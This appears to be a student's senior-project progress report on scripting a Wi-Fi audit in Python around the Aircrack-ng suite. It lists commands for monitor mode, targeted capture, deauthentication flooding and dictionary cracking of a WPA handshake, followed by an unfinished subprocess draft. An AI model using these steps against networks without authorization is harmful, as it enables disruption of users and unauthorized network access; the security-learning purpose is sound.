# Senior Project

Edward Ayala | Report 3

This week I began working on the Python scripting. The general idea of the script is to implement the usual CLI commands that would be used if the Wi-Fi audit were to be completed manually. Along with issuing commands, the script must be able to read the outputs that each command returns. The outputs also must be parsed to retrieve the relevant information from each tool used from the Aircrack-ng suite. Relevant information such as the name of the wireless card on the system, the BSSID, ESSID, power-level, the channel the network is on, and much more information.

Before creating the script, I had to roughly map out the process for using the Aircrack-ng suite. So far, I have been able to make a step-by-step list of what commands and options are needed to attack a Wi-Fi network using one of many methods. The first method I would be implementing is capturing the authentication handshake then decrypting it. This method can be used in many consumer Wi-Fi networks without alarming the users on the network or any security settings on the router. Later I will work on implementing other methods, although many of them are not meant to be automated but can be made semi-automated with some user input.

```
Aircrack-ng Process:
0. ROOT USER - MUST RUN SCRIPT AS ROOT
1. airmon-ng check kill - KILLS INTERFERING PROCESSES
2. airmon-ng start wlan0 - SETS WIRELESS CARD TO MONITOR MODE
3. airodump-ng wlan0mon - SCANS FOR NEARBY NETWORKS
4. FIND NETWORK TO ATTACK – CHOOSE NETWORK / TAKE NOTE OF BSSID
5a. airodump-ng --bssid 00:01:02:03:04:05 -w FILENAME wlan0mon
5b. aireplay-ng --deauth 100 -a 00:01:02:03:04:05 -c 00:01:02:03:04:05 wlan0mon
5c. PERFORM 5a AND 5b AT SAME TIME
6. CAPTURE HANDSHAKE BETWEEN DEVICE AND TARGET NETWORK
7. aircrack-ng -w WORDLIST FILENAME.cap
```

The first step in creating the script is to understand which Python libraries would be used to run system commands in the terminal. So far, I have found a library called subprocess that can easily run system commands using an easy to understand procedure that can accept commands either one-by-one or via a list of commands. Next I will need to understand how I can retrieve and parse the output of each command.

```
Python System Calls:
import subprocess

PYTHON 2.7
subprocess.call(['command','option'])
ex: subprocess.call(['ls','-l'])

PYTHON 3
subprocess.run('command') or subprocess.run(['command','option'])
subprocess.run('command', capture_output=True)
```

Rough Draft:

```
import subprocess as sp
import time as t
import signal
import sys
from os import system
#print('test subprocess library')

#file = 'output.txt'

#sp.call(['ls','-l'])
#sp.call(['touch',file])
#sp.call(['vi',file])

#print('test complete')
print('test aircrack-ng suite')
# KILL INTERFERING PROCESSES
print('KILLING TASKS')
sp.run(['airmon-ng','check','kill'], capture_output=True)
print('TASKS KILLED')
t.sleep(3)
# SET WIRELESS CARD TO MONITOR MODE
print('ENTERING MONITOR MODE')
sp.run(['airmon-ng','start','wlan0'], capture_output=True)
t.sleep(3)
print('CHECKING WIRELESS CARD STATUS')
sp.run('iwconfig')
t.sleep(1)
sp.run('NetworkManager')
# SCAN FOR NEARBY NETWORKS
sys.exit(0)
sp.run(['airodump-ng','wlan0mon'])
t.sleep(10)
```